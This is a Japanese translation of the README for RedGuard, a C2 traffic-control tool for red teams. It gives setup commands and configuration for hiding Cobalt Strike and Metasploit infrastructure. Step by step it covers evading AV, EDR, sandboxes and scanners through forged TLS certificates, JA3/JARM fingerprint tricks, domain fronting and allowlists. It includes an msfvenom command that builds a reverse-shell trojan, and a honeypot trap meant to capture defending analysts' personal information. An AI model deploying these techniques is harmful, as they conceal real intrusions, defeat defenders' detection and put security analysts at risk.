wikiz/redguardJA3/JARMフィンガープリントのランダム化、ドメインフロンティング、可変C2プロファイルの検証、IPホワイトリストによるブルーチーム、AV、EDR、サイバースペースマッピングを回避するC2フロントフロー制御ツール。
英語 | 中文ドキュメント
RedGuardは、C2フロントフロー制御技術に基づく派生ツールで、より軽量な設計、効率的なトラフィックインタラクション、そしてGoプログラミング言語での開発との信頼性の高い互換性を備えています。サイバー攻撃が絶えず進化し、レッドチームとブルーチームの演習がますます複雑になる中、RedGuardはレッドチームにより優れたC2チャネル隠蔽ソリューションを提供するように設計されており、C2チャネルのフロー制御を提供し、「悪意のある」分析トラフィックを遮断し、攻撃タスク全体をより良く完了します。
RedGuardは、ブルーチーム、AVS、EDR、サイバースペース検索エンジンの検出を回避できるC2フロントフロー制御ツールです。
コンパイル済みバージョンを直接ダウンロードして使用するか、Goパッケージをリモートでダウンロードして独立してコンパイルおよび実行することができます。```bash git clone https://github.com/wikiZ/RedGuard.git cd RedGuard
go build -ldflags "-s -w" -trimpath
chmod +x ./RedGuard&&./RedGuard
# 0x02 設定の説明
## 初期化
下図のように、実行権限を設定し、RedGuardを初期化します。初回実行時には、現在のユーザーのホームディレクトリに設定ファイルが生成され、柔軟な機能設定が可能です。設定ファイル名: **.RedGuard_CobaltStrike.ini**。
**設定ファイルの内容:**
certの設定オプションは主に、サンプルとC2フロントインフラストラクチャ間のSSL証明書で暗号化されたHTTPS通信の設定情報に関するものです。proxyは主にリバースプロキシトラフィック内の制御オプションを設定するために使用されます。具体的な使用方法については以下で詳しく説明します。
SSL証明書で暗号化されたHTTPS通信は、RedGuardが実行されているディレクトリ内のcert-rsa/ディレクトリに生成されます。設定ファイルを変更することで、ツールの基本機能の開始および停止が可能です **（証明書のシリアル番号はタイムスタンプに基づいて生成されるため、この機能に関連付けられることを心配する必要はありません）**。独自の証明書を使用したい場合は、それらをca.crtとca.keyに名前変更するだけです。```bash
openssl x509 -in ca.crt -noout -text
RedGuard が起動されるたびにランダムな TLS JARM フィンガープリントが更新され、これが C2 インフラストラクチャの認証に使用されるのを防ぎます。
独自の証明書を使用する場合は、設定ファイルの HasCert パラメータを true に変更して、JARM 難読化のランダム化によって生じる CipherSuites 暗号スイートとカスタム証明書の非互換性に起因する通常の通信問題を防止します。```bash
HasCert = false
### 偽造されたTLS証明書
C2トラフィックを隠すためにドメインフロンティングを展開する場合、デフォルトでは加速ドメイン名にHTTPS証明書情報がありません。これは明らかに問題があるため、ドメイン名を設定する際には証明書の設定に注意する必要があります。これはまた、サンプルがドメインフロントエンドトラフィックであるかどうかを判断するデフォルトの基準でもあります。
[^Tencent Cloud]: https://raw.githubusercontent.com/wikiz/redguard/HEAD/%E3%82%B3%E3%83%B3%E3%83%86%E3%83%B3%E3%83%84%E9%85%8D%E4%BF%A1%E3%83%8D%E3%83%83%E3%83%88%E3%83%AF%E3%83%BC%E3%82%AF%E3%81%AE%E8%A8%BC%E6%98%8E%E6%9B%B8%E8%A8%AD%E5%AE%9A
これを読んだ後、皆さんはいくつかの疑問を持つことでしょう。**設定された証明書をどのように取得するのか？アプリケーションに独自の証明書を使用すると、期待する匿名性効果が得られません。** ここでは、複製した証明書を設定に使用できます。Tencent Cloudを例にとると、テストでは、カスタムでアップロードした証明書の有効性を検証しないことがわかりました。加速ドメイン名の実際のサイトと同じ証明書を使用して偽造することができます。偽造された証明書は、通常の状況下でCSのデフォルト証明書を置き換えると通信できませんが、クラウドサービスプロバイダのCDN全サイト加速とRedGuardに展開する場合、有効性は検証されず、C2インタラクティブトラフィックは正常に通信できます。
**以下はGithub上の既存のプロジェクトアドレスです**```bash
https://github.com/virusdefender/copy-cert
サンプルドメインのフロントエンドトラフィック側の証明書は解決されましたが、大規模なネットワークマッピングの観点から見ると、C2サーバーは依然として外部に露出しており、実際のC2サーバーと検出・関連付けられる可能性があります。この場合、RedGuardを使用してC2のフロンティングデフォルト証明書を変更し、匿名性を実現できます。
上記はC2サーバーの偽造証明書の効果です。脅威情報コミュニティのインテリジェンスにおいて、それが信頼でき、期限切れでないことがわかります。デジタル証明書を取得する主な方法は、クラウドサンドボックスでのサンプル分析中にリアルタイムで抽出・更新することですが、明らかに効果的に検証されていません。ステータス値は有効期限のみを検証します。証明書の信頼性検証は、通常の通信が達成できるかどうかのみに基づくべきです。
注意すべき点として、脅威情報コミュニティは、サンプルリクエストのSNIおよびHOSTアドレスを証明書インテリジェンスでマークしません。これは実際には誤検知を防ぐためです。私はこれが正しいと考えています。研究者の分析を支援する重要な基盤として、脅威情報は不完全である方が、誤った方向を指すよりも良いです。後続の分析において誤判断を引き起こす可能性があります。全サイトアクセラレーション用に証明書を設定することが通信トラフィック用の証明書を偽造することであるならば、RedGuard C2の事前応答証明書を設定することは、パブリックネットワークに展開された実際のC2サーバーの行動特性を偽造し、マッピング対策効果を達成することであり、非常に必要です。
証明書のシリアル番号を抽出：55e6acaed1f8a430f9a938c5、HEXエンコードを実行してTLS証明書フィンガープリントを取得：26585094245224241434632730821
検索結果数: 2291
サイバースペースマッピングを通じて、2,291の独立したIPアドレスが発見され、検証によりそれらすべてがBaiduに属するTLS証明書を持っていることが確認されました。通信トラフィックのみに基づいて悪意のある通信かどうかを判断することは困難です。しかし、ドメインフロントエンド + C2フロントエンドトラフィック施設のTLS証明書が偽造され、スペースマッピングと脅威情報に干渉し、誤った情報の関連付けを引き起こし、攻撃者のトラフィック特性をよりリアルに見せかけ、通常の通信トラフィックを偽装する目的を達成しました。
C2トラフィックフロントエンド施設の前に隠れた転送処理がなくても、RedGuardの証明書を変更することをお勧めします。デフォルトでは、現在サイバースペースマッピングで使用されている一般的なコンポーネントのフィンガープリント識別によって形成されるフィンガープリントライブラリは、識別に一般的なコンポーネントのデフォルト設定特性の動作を使用しています。異なるグループは、これらのカスタマイズプロセス中に異なるユニークな特性を示す可能性があります。もちろん、フィンガープリントの形成にはターゲットコンポーネントの一定の理解が必要であり、ターゲットのデフォルト特性を抽出し、関連するフィンガープリントを形成します。ここでは、RG証明書の行動特性がサイバースペースマッピングに使用され、パブリックネットワークに展開された多数のRGノードと関連付けられています。
著者がフィンガープリントを抽出できたことは驚くべきことではありませんが、それでもRedGuardユーザーはデフォルトの証明書情報を変更し、プロフェッショナルなハッカーになることをお勧めします:)
root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard: -DelHeader string Customize the header to be deleted -DropAction string RedGuard interception action (default "redirect") -EdgeHost string Set Edge Host Communication Domain (default "") -EdgeTarget string Set Edge Host Proxy Target (default "") -FieldFinger string Set HTTP Header identification field Info -FieldName string Set the name of the HTTP Header identification field -HasCert string Whether to use the certificate you have applied for (default "true") -allowIP string Proxy Requests Allow IP (default "") -allowLocation string Proxy Requests Allow Location (default "") -allowTime string Proxy Requests Allow Time (default "") -common string Cert CommonName (default ".aliyun.com") -config string Set Config Path -country string Cert Country (default "CN") -dns string Cert DNSName -host string Set Proxy HostTarget -http string Set Proxy HTTP Port (default ":80") -https string Set Proxy HTTPS Port (default ":443") -ip string IPLookUP IP -locality string Cert Locality (default "HangZhou") -location string IPLookUP Location (default "风起") -malleable string Set Proxy Requests Filter Malleable File (default "*") -organization string Cert Organization (default "Alibaba (China) Technology Co., Ltd.") -redirect string Proxy redirect URL (default "https://360.net") -type string C2 Server Type (default "CobaltStrike") -u Enable configuration file modification
**追記. パラメータコマンドを使用して設定ファイルを変更できます。もちろん、手動でvimを使って修正する方が便利かもしれません。**
# 0x03 ツールの使用方法
## 基本的なインターセプト
リバースプロキシのポートに直接アクセスすると、インターセプトルールがトリガーされます。ここでは、出力ログを通じてクライアントリクエストのルートディレクトリを確認できますが、リクエストが正しいHOSTリクエストヘッダーである要求された資格情報を保持していないため、基本的なインターセプトルールがトリガーされ、トラフィックは https://360.net にリダイレクトされます。
これは出力のデモンストレーションに過ぎません。実際の使用では、`nohup ./RedGuard &` でバックグラウンドで実行できます。
```bash
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
上記のスライスから、360.net がローカルポート 8080 にプロキシされ、360.com がローカルポート 4433 にプロキシされており、使用される HTTP プロトコルも異なることが容易にわかります。実際の使用では、リスナーのプロトコルタイプに注意し、ここでの設定と一致させ、対応する HOST リクエストヘッダーを設定する必要があります。
上の図に示すように、不正アクセスの場合、私たちが得る応答情報もリダイレクト先サイトの戻り情報となります。
上記の基本的なインターセプトのケースでは、デフォルトのインターセプト方法が使用され、不正なトラフィックはリダイレクトによってインターセプトされます。設定ファイルを変更することで、インターセプト方法とリダイレクト先のサイトURLを変更できます。実際のところ、これをリダイレクトと呼ぶよりも、ハイジャック、クローンと呼ぶ方が適切かもしれません。応答ステータスコードは200で返され、応答は別のWebサイトから取得されて、クローン/ハイジャックされたWebサイトを可能な限り模倣するためです。
不正パケットは、次の3つの戦略に従って誤ったルーティングを行うことができます。
drop_action = proxy
Redirect = https://360.net
**Redirect = URL** は設定ファイル内で乗っ取られた URL アドレスを指します。RedGuard は「ホットチェンジ」に対応しており、ツールが `nohup` でバックグラウンド実行中でも設定ファイルを変更できます。内容はリアルタイムで開始・停止されます。```bash
./RedGuard -u --drop true
コマンドラインで設定ファイルを変更する場合、-uオプションを省略してはいけません。省略すると設定ファイルの変更が成功しません。デフォルトの設定ファイル設定を復元するには、./RedGuard -u と入力するだけです。
もう一つの遮断方法はDROPです。これはHTTP通信の応答を直接閉じるもので、DROP = true と設定することで有効になります。具体的な遮断効果は以下の通りです。
C2フロントのフロー制御がHTTPレスポンスコードなしで不正なリクエストに対して直接応答を閉じていることがわかります。サイバースペースマッピングの検出において、DROP方式はポートの開放を隠すことができます。具体的な効果は以下のケース分析で確認できます。
多くのユーザーは 応答のハイジャック に興味を持つことでしょう。一般的な原理は、クライアントが実際のC2サーバーにリクエストを送信する際、受信ルールを満たしていないため、C2サーバーは指定された通常のサイトを取得し、その応答情報を返すというものです。そのため、リクエストエンドから見ると、IPサービスとやり取りしているように見えますが、実際には中間のC2サーバーがプロキシサーバーとして通常のサイトとやり取りしており、異常を見つけることは困難です。受信リクエストを満たしている場合、トラフィック要求は実際のC2サービス待受ポートに転送されてやり取りが行われ、実際の待受ポートはクラウドファイアウォールによってフィルタリングされており、ローカルアクセスのみ許可され、外部から直接アクセスすることはできません。したがって、外部ポート開放の観点からは、HTTP/Sポートのみが開いており、ある意味でこれがC2のオンラインポートであると言えます。
サイバースペースマッピングデータでは、IPのHTTP/S開放ポートの応答コードは200であり、307のリダイレクトではありません。これはより本物らしいです。
HTTPS証明書は、前述の偽造証明書と同じ効果を持ち、どちらも実際の証明書のフィンガープリントです。
多くのレッドチームは、対抗プロジェクトの過程でクラウドファンクションやドメインフロンティングなどの隠蔽方法を広く使用していると思います。しかし、今日の攻防対抗において、上記の2つの隠蔽方法には致命的な問題があります。それは、C2サービスに直接接続できることです。結果として、クラウドファンクションのアドレスやドメインフロンティングの対話IP/HOSTを掌握すると、C2待受サービスに直接アクセスでき、それが攻撃施設であることを証明できるのは間違いありません。
トラフィックが直接C2に到達できるため、セキュリティデバイスがSNIやHOSTに一致しないトラフィックに対してCSスキャンを実行し、悪意のあるトラフィックかどうかを識別できるかどうかを検討する価値があります。クラウドファンクションやサンドボックス環境についても同様です。サンプル側だけでなく、より多くのトラフィックレベルの分析プロセスも存在し得ます。
ハイジャック応答後、HTTPサービスへの直接アクセスは通常のウェブサイトとのやり取りが可能ですが、Cscanはサンプル情報をスキャンできません。トラフィックが実際のC2リスナーに到達できないためです。通常のC2対話は、トラフィック開始の特性が満たされた場合のみ可能です。ただし、問題があります。C2スキャンスクリプトは受信ルールに準拠する必要があり、ブルーチームのアナリストのコーディング能力に一定の試練を課します。現在公開されているスキャンスクリプトはNmap形式です。
JA3は、クライアントとサーバー間の暗号化通信に対して、より認識しやすいフィンガープリントを提供します。TLSフィンガープリントを使用して、悪意のあるクライアントとサーバー間のTLSネゴシエーションを識別し、悪意のあるクライアントを関連付ける効果を達成します。このフィンガープリントは、MD5暗号化を使用して任意のプラットフォームで簡単に生成でき、現在脅威インテリジェンスで広く使用されています。例えば、一部のサンドボックスのサンプル分析レポートで見られ、異なるサンプル間の相関関係を証明します。
C2サーバーと悪意のあるクライアントのJA3(S)を掌握できれば、トラフィックが暗号化され、C2サーバーのIPアドレスやドメイン名が不明でも、TLSフィンガープリントによって悪意のあるクライアントとサーバー間のTLSネゴシエーションを識別できます。これを見て皆さんもお考えになるでしょうが、これはドメインフロンティング、リバースプロキシ、クラウドファンクションなどのトラフィック転送隠蔽方法に対処するための対策でもあります。サンドボックス実行サンプル識別とC2通信TLSネゴシエーションを通じてJA3(S)フィンガープリントを生成し、脅威インテリジェンスに適用して補助的なトレーシングを実現できます。
私は2022年にこの技術を発表しました。マイクロステップサンドボックス環境をテストした際、対話を要求する出口IPの数は少ないものの、IPによるサンドボックス識別は正確ではなく、簡単に変更できる特徴であることがわかりました。しかし、そのJA3フィンガープリントは同じシステム環境では一意でした。その後、サンドボックスがフィンガープリントのランダム化を完了したというフィードバックを受けましたが、最近のテストでは完全には実装されていないことがわかりました。私は依然としてトラフィック側のフィンガープリントの問題に直面したいと考えています。
クラウドサンドボックスの観点から、サンプルとC2サーバー間のトラフィック対話を監視することで、JA3(S)フィンガープリントが生成され、悪意のあるクライアントを識別して関連付けを行います。逆に考えると、C2前のトラフィック制御施設として、同様の操作を実行してクライアントリクエストのJA3フィンガープリントを取得できます。さまざまなサンドボックス環境をデバッグすることで、これらのJA3フィンガープリントを取得してフィンガープリントライブラリを形成し、基本的な遮断戦略を構築できます。
ステージ型トロイの木馬の対話プロセスでは、ローダーが最初にリモートアドレスのシェルコードを取得します。その後、トラフィックがリクエストがJA3フィンガープリントライブラリのクラウドサンドボックス特性に一致することを識別すると、後続のリクエストを遮断します。シェルコードを取得できない場合、ローディングプロセス全体を完了できず、サンドボックスは当然完全に分析できません。環境がステージレストロイの木馬の場合、サンドボックス分析も最終的にC2サーバーにアップロードできなくなります。皆さんも眠りから覚めて、C2に長時間のサンドボックスレコードが多数ぶら下がっているのを見つけたことがあるでしょう。もちろん、理想的な状態では、さまざまなサンドボックス環境を識別できますが、これは主にフィンガープリントライブラリの信頼性に依存します。
テスト中、ZoomEyeのGO言語リクエストライブラリのJA3フィンガープリントをフィンガープリントライブラリに追加し、RGリクエストトラフィックを監視したところ、ほとんどのリクエストがJA3フィンガープリントライブラリ機能の基本遮断をトリガーしました。ここでは、測量・マッピング製品の基盤言語の一部がGO言語で実装されたスキャンタスクであると推測しています。異なる基盤言語で構成されたスキャンロジックがリンクを通じて最終的に全体のスキャンタスクを完了しました。これにより、一部の測量・マッピング製品のスキャンがGO言語リクエストライブラリのJA3フィンガープリント遮断機能をトリガーした理由も説明できます。認識ルールの原理はクラウドサンドボックスフィンガープリントと同じです。どちらもリクエストクライアント環境とリクエストライブラリの一意性を利用しています。PC側とは異なり、これらの製品のリクエスト環境は基本的に勝手に変更されることはなく、それによってトラフィック側のフィンガープリントを把握して遮断することができます。では、セキュリティデバイスがアクティブ検出トラフィックのJA3フィンガープリントを遮断の基準として使用できるかどうかを考えられますか？もちろん、ビジネストラフィックが多い場合、ある程度の誤検知が発生する可能性があります。ここでは理論的に実現可能な製品要件を提案するにとどめます。
P.S. ユーザーはサンプルをサンドボックスにアップロードして、そのJA3フィンガープリントを取得・検証し、フィンガープリントライブラリに追加することもできます。注意すべき点は、サンドボックスがJA3フィンガープリントを上記のフィンガープリントとは異なるものに変更するだけでは意味がありません。本当に解決すべきことは、サンドボックスが動的分析を行うたびに同じフィンガープリントにならないこと、そしてその変更が可能な限り重複しない要件を満たすことです。重複率が高い場合、それでもフィンガープリントとして使用されます。
現在、効果デモとしてthreatbookクラウドサンドボックスの識別と遮断をサポートしています
設定ファイル内の以下の2つのパラメータを設定することで、リバースプロキシポートを変更する効果が得られます。現在のサーバーポートと競合しない限り、デフォルトのポート非表示を使用することをお勧めします。どうしても変更する必要がある場合は、パラメータ値の : が欠落しないように注意してください。```bash
Port_HTTPS = :443
Port_HTTP = :80
## RedGuard ログ
ブルーチームのトレース動作は、ターゲットリクエストのインターセプトログを通じて分析され、ピア接続のイベントや問題を追跡するために使用できます。ログファイルはRedGuardが実行されているディレクトリに生成され、**ファイル名: RedGuard.log** です。
## RedGuard 実際のIPアドレスの取得
このセクションでは、リクエストの実際のIPアドレスを取得するためのRGの設定方法について説明します。C2デバイスのプロファイルに以下の設定を追加するだけで、リクエストヘッダー X-Forwarded-For を介してターゲットの実際のIPアドレスが取得されます。```bash
http-config {
set trust_x_forwarded_for "true";
}
設定方法はAllowLocation = Jinan, Beijingを例とします。RedGuardはリバースIP帰属のための2つのAPIを提供しており、1つは中国本土のユーザー向け、もう1つは中国本土以外のユーザー向けで、入力された地理的ドメイン名に応じて動的に使用するAPIを割り当てることができます。ターゲットが中国の場合は中国語の地域名を使用し、それ以外の場合は英語の地名を使用します。中国本土のユーザーには中国語の名前を使用することをお勧めします。これにより、帰属の精度とリバースクエリで得られるAPIの応答速度が最適になります。
P.S. 中国本土のユーザーは、AllowLocation = Jinan,beijing という方法を使用しないでください！ ほとんど意味がありません。パラメータ値の最初の文字が使用するAPIを決定します！```bash
AllowLocation = *
地域を制限する前に、以下のコマンドで手動でIPアドレスを確認できます。```bash
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query
ここでは、Shandong地域のみがオンラインになるように設定します
正規のトラフィック:
不正なリクエスト地域:
地理的な制限の接続に関しては、現在の攻防演習でより実用的かもしれません。基本的に、省や市の攻防演習の制限対象は指定された地域であり、他の地域からのリクエストトラフィックは自然に無視できます。RedGuardのこの機能は、単一の地域を制限するだけでなく、省や市に応じて複数の接続地域を制限し、他の地域からリクエストされるトラフィックを遮断することもできます。
RedGuardのサイバーセキュリティベンダーの組み込みIPブラックリストに加えて、ホワイトリスト方式によって制限することもできます。実際、私はウェブペネトレーション中に、ホワイトリストに従ってオンラインIPアドレスを制限し、IPアドレスを複数の方法に分割することを提案します。```bash
AllowIP = 127.0.0.1
上の図に示すように、127.0.0.1 接続のみを許可するように制限すると、他の IP からのリクエストトラフィックはブロックされます。
## 時間帯に基づくブロック
この機能はより興味深いものです。設定ファイルで以下のパラメータ値を設定すると、トラフィック制御機能は午前8時から午後9時までしか接続できなくなります。ここでの具体的な適用シナリオは、指定された攻撃時間中はC2との通信を許可し、それ以外の時間は沈黙を保つことです。これにより、レッドチームは夜間に当直のブルーチームが退屈してトロイの木馬を解析し、その後説明できない何かに目覚めることを心配せずに、ぐっすり眠ることができます。ははは。```bash
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuardはMalleable C2プロファイルを利用します。提供された拡張可能な設定ファイルのセクションを解析し、その契約を理解して、条件を満たす受信リクエストのみを通過させ、他のリクエストを誤認させます。http-stager、http-get、http-postなどのパーツと、それらに対応するURI、ヘッダー、User-Agentなどは、正当なビーコンリクエストを無関係なインターネットノイズやIR/AV/EDRの範囲外パケットから区別するために使用されます。```bash
MalleableFile = /root/cobaltstrike/Malleable.profile
風起によって作成されたプロファイルは、以下を使用することを推奨します：
> <https://github.com/wikiZ/CobaltStrike-Malleable-Profile>
## カスタム削除応答フィールド
Cobalt Strike 4.7以降では、Teamserverは通知なしにContent-Encodingヘッダーを自動的に削除し、malleable http-(get|post).serverの違反を引き起こす可能性があります。さらに、CS Serverの応答メッセージにContent-typeが存在しない場合でも、RedGuardによって転送された後、応答メッセージヘッダーにContent-Typeが追加され、CFがページをキャッシュして干渉を引き起こすことがあります。
RedGuard 23.08.21以降、応答パケットのヘッダーをカスタマイズする機能が追加されました。ユーザーは設定ファイルを変更することで、応答パケット内のヘッダー情報をカスタマイズして削除し、解析エラーの問題を解決できます。```bash
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-Encoding
RedGuard 23.05.13は、トロイの木馬サンプルのフィンガープリント認識機能を更新しました。これは、Malleable ProfileのHTTPヘッダーフィールドをカスタマイズして、同じC2リスナー/Header Hostを一意に識別するためのフィンガープリント「サンプルソルト値」として使用することに基づいています。さらに、他の関連するリクエストフィールドを組み合わせて生成されたトロイの木馬サンプルフィンガープリントを使用して、カスタムサンプルの生存性を検出できます。攻撃者のタスク要件に応じて、トロイの木馬サンプルフィンガープリント認識機能は、無効にしたいサンプルに対して「オフライン操作」を実行し、サンプル通信の悪意のあるトラフィック分析やステージングされたサンプルPAYLOAD攻撃ペイロードの取得分析をよりうまく回避し、攻撃者によりパーソナライズされたステルス対策を提供できます。
異なるC2リスナーに対して、Malleable Profile構成に異なるエイリアスを割り当て、関連するヘッダーのフィールド名と値をサンプルソルト値としてカスタマイズし、異なるサンプル間の区別の1つとして使用できます。以下のコードは説明用であり、実際の攻防シナリオでは、より現実的なHTTPリクエストパケットフィールドを判断の基準として使用できます。```bash http-get "listen2" { set uri "/image.gif"; client { header "Accept-Finger" "866e5289337ab033f89bc57c5274c7ca"; //Custom HTTP Header and Value metadata { print } } }
**HTTPトラフィック**
図に示すように、上記のサンプルSalt値とHostフィールドをフィンガープリント生成の基準として使用します。ここでは以下のことがわかります。
- **Salt値：866e5289337ab033f89bc57c5274c7ca**
- **Host：redguard.com**
上記の値を連結することで、以下のサンプルフィンガープリントが得られます。```bash
22e6db08c5ef1889d64103a290ac145c
現在、上記のサンプルフィンガープリントが判明したので、悪意のあるトラフィックを傍受するために、RedGuard設定ファイルにカスタムヘッダーフィールドとサンプルフィンガープリントを設定できます。なお、複数のサンプルフィンガープリントをカンマで区切って拡張することができ、FieldNameはMalleable Profileで設定したヘッダーフィールド名と一致している必要があります。
RedGuardの設定ファイルはホット構成であるため、RedGuardを再起動することなく、無効にしたいサンプルをインターセプトできます。サンプルを再度有効にしたい場合は、RedGuard設定ファイルから該当するサンプルフィンガープリントを削除するだけで済みます。
実演効果:
上記の方法に問題がある場合、実際のオンラインC2サーバーはファイアウォールで直接遮断できません。なぜなら、リバースプロキシにおける実際のロードバランシングリクエストは、クラウドサーバーベンダーのIPによって行われるからです。
単独の戦闘では、クラウドサーバーのファイアウォールに遮断ルールを設定できます。
次に、プロキシが指すアドレスを https://127.0.0.1:4433 に設定します。```bash {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
そして、基本検証はHTTP HOSTリクエストヘッダーに基づいているため、HTTPトラフィックで見える内容はドメインフロンティング方式と同じですが、コストは低く、クラウドサーバーは1台のみで済みます。
リスナー設定では、`HTTPS Port (C2)` はRedGuardリバースプロキシポートに設定され、`HTTPS Port (Bind)` はローカルマシンの実際の接続ポートです。
## Metasploit
**トロイの木馬を生成**```bash
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe
もちろん、ドメインフロンティングのシナリオとして、LHOSTをメーカーのCDNの任意のドメイン名に設定することもでき、HttpHostHeaderをRedGuardに合わせて設定するよう注意してください。```bash setg OverrideLHOST 360.com setg OverrideLPORT 443 setg OverrideRequestHost true
`OverrideRequestHost` 設定を `true` に設定する必要があることに注意してください。これは、Metasploit がステージングペイロードの設定を生成する際に、デフォルトで着信 HTTP/S リクエストを処理する方法に起因する機能です。デフォルトでは、Metasploit は `LHOST` パラメータの代わりに、着信リクエストの `Host` ヘッダー値（存在する場合）をセカンドステージの設定に使用します。そのため、ビルドステージは、CloudFront が転送するリクエストの `Host` ヘッダーに内部ドメインを渡すため、リクエストを直接隠しドメイン名に送信するように設定されています。これは明らかに意図したものではありません。`OverrideRequestHost` 設定値を使用することで、Metasploit に着信 `Host` ヘッダーを無視させ、代わりにオリジンの CloudFront ドメインを指す `LHOST` 設定値を使用させることができます。
リスナーは、RedGuard が実際に転送するアドレスに一致する実際の回線ポートに設定されます。
RedGuard がリクエストを受信しました:
## サイバースペース検索マッピング
下図に示すように、インターセプトルールを DROP に設定すると、空間マッピングシステムのプローブがリバースプロキシポートの / ディレクトリを数回プローブします。理論上、マッピングが送信するリクエストパケットは、図のように通常のトラフィックに偽装されます。しかし、数回の試行の後、リクエストパケットのシグネチャが RedGuard のリリース要件を満たさないため、すべて Close HTTP で応答されます。最終的にマッピングプラットフォームに表示される効果は、リバースプロキシポートが開いていないというものです。
下図に示すトラフィックは、インターセプトルールを Redirect に設定した場合、マッピングプローブが応答を受信すると、引き続きディレクトリをスキャンすることを意味します。User-Agent はランダムであり、通常のトラフィックリクエストに適合しているように見えますが、両方とも正常にブロックされました。
**マッピングプラットフォーム - ハイジャック応答インターセプトモードの効果:**
**測量マッピングプラットフォーム - リダイレクトインターセプトの効果:**
## ドメインフロンティング
RedGuard はドメインフロンティングをサポートしています。私の見解では、2 つの表現形式があります。1 つは従来のドメインフロンティング方式を使用する方法で、サイト全体のアクセラレーションのバックオリジンアドレスにリバースプロキシのポートを設定することで実現できます。元の基盤に、ドメインフロンティングにトラフィック制御の機能が追加され、設定に応じて指定された URL にリダイレクトして、よりリアルに見せることができます。RedGuard の HTTPS HOST ヘッダーの設定は、サイト全体のアクセラレーションのドメイン名と一致している必要があることに注意してください。
単独の戦闘では、上記の方法を使用することをお勧めします。チームタスクでは、自作の「ドメインフロンティング」によっても実現できます。
自作のドメインフロンティングでは、複数のリバースプロキシポートを一致させ、HOST ヘッダーは一貫してバックエンドの実際の C2 サーバーリスニングポートを指します。これにより、実際の C2 サーバーを適切に隠蔽でき、リバースプロキシのサーバーはファイアウォールを設定してプロキシポートのみを開くことができます。
これは、複数のノードサーバーを介して実現でき、CS リスナー HTTPS オンライン IP にノードの複数の IP を設定します。
## ハニーポット悪意トラップ
**悪意のあるハニーポットトラップの原理は、主に RG トラフィック誘導のハイジャック応答またはリダイレクト機能に依存しており、C2 施設を評価しているアナリストをハニーポットサンドボックスのアドレスに誘導します。ハイジャック応答状態では、RG はインバウンドルールを満たさないリクエストトラフィックをハニーポットアセットに誘導します。** より強力なハニーポット（例：オペレーターの電話番号をキャプチャするもの）に遭遇した場合、クライアントはターゲットサイトの応答に従ってリクエストを開始し、jsonp によってハイジャックされて関連情報を取得します。
アナリストが C2 オンラインポートに直接アクセスすると、ハニーポットアセットに誘導されることを想像してください。これは間違いなくアナリストに混乱を引き起こします。アナリストは悪意を持ってハニーポットアセットへのリクエストを誘導され、ハニーポット監視エンドがブルーチームアナリストの関連情報をキャプチャして追跡を誤ります。分析対象が最初から間違っている場合、どのように良い結果が得られるでしょうか？これは間違いなく防御チームに深刻な内部摩擦を引き起こすでしょう。
**以下は、ハニーポットアセットに関連付けられた ZoomEye フィンガープリントのセットです:**```bash
(iconhash:"9fd6f0e56f12adfc2a4da2f6002fea7a" (title:"然之协同" +"iframe" +">v.ignoreNotice")) ("/static/js/2.ca599e2d.chunk.js?t=" +title:"OA办公系统") ("data.sloss.xyz/get_code.js?access") ("/monitordevinfo/common.js") (app:"honeyport" +country:china +after:"2022-08-22")
この効果を実現する方法は非常に簡単で、RG設定ファイル内の該当するキーの値を変更するだけです。```bash
drop_action = proxy
Redirect = https://market.baidu.com
**P.S. 説明不要で設定方法は皆さんご存知だと思いますが:)**
この方法は一種の巧妙なトリックであり、アイデアに重点を置いています。さらに応用すれば、ハニーポットのキャプチャ機能をC2フロントエンドのトラフィック制御装置に展開し、インタラクティブトラフィックを誘導することができます。その効果は、従来のハニーポットのようにクライアントのブラウザキャッシュデータを取得できることです。ただし、個人的には、公開バージョンでは現在の攻防対決に適用しても意味がないかもしれません。攻撃者がブルーチームの分析担当者のソーシャル情報を取得し、追跡することは意味がありません。もちろん、一歩引いて考えると、これによりC2サンプルの分析がより危険になる可能性があります。ブラック/グレー業界の攻撃者が分析担当者の仮想アイデンティティを入手でき、仮想と現実のアイデンティティを変換できるのであれば、それでも比較的危険です。**そのため、今後の研究や分析はより慎重かつ警戒すべきだと思います。**
## エッジノードリンクインタラクションに基づくC2トラフィック
攻防対決のシナリオでは、多くの組織のネットワークは依然として境界ベースの防御を採用しています。ここでは、DMZエリアの外部サーバーが通常のビジネス環境で関連するアクセスポリシーを設定しているシナリオを考えます。このとき、エッジの外部サーバーがネットワークにアクセスできるが、内部ネットワークのホストに直接アクセスできない場合、内部ネットワークのPCや関連サーバーはパブリックネットワークに直接アクセスできず、DMZエリアのビジネスサーバーにのみアクセスできる場合、エッジノードのホストをRGノードとして使用し、内部ネットワークのオンライントラフィックをC2施設に転送できます。従来のプロキシ転送と非常によく似ていませんか？しかし、これはスキル実装の表示形式にすぎません。さらに多くのTIPSを見ていきましょう。
管理プロセス中にエッジホストを制圧したとき、Shell権限を取得したと仮定して、このサーバーにRGをフロントエンドノードとして展開します**（実際のシナリオでは、設定ファイルはプログラムにハードコードされ、トロイの木馬とRGが同じプログラムに結合されます）**。
**設定ファイルは以下の通りです：**
具体的な設定では、主に矢印に注目します。**上の矢印1は、内部ネットワークホストとエッジノード間のインタラクションのHOSTドメイン名です**。対象組織の具体的なシナリオに応じて、関連する内部ネットワークドメイン名を設定することをお勧めします。内部ネットワーク内の2つのホスト間のトラフィックインタラクションが内部ネットワークドメイン名に関するものであると想像してください。BTはインタラクティブトラフィックを直接遮断する勇気がありますか？もちろん、それが悪意のあるインタラクティブトラフィックであると判断できれば別ですが。**矢印2は、従来のドメインフロントエンドの設定を示します**。このキーと値のペアでは、キーがオンラインのHOSTに対応し、値がプロキシアドレスに対応します。ここでは、同じCDNプロバイダーを使用する任意のHTTPSドメイン名に設定できます**（CDNノードIPも可。http(s)://プロトコルを忘れずに付けてください）**。
